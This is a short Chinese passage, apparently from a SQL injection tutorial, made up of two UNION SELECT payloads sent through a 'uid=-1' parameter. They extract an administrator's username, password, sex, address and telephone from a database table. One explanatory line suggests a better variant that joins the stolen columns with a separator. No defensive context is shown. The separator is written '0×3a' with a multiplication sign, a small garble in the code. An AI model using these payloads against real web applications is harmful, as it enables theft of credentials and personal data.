uid=-1 union select username ,concat(password,sex,address,telephone),content from test_talbe where user_id=管理员id;
更好的方法:中间用分隔符分开:
复制代码 代码如下:
uid=-1 union select username ,concat(password,0×3a,sex,0×3a,address,0×3a,telephone) ,content from test_talbe where user_id=管理员id;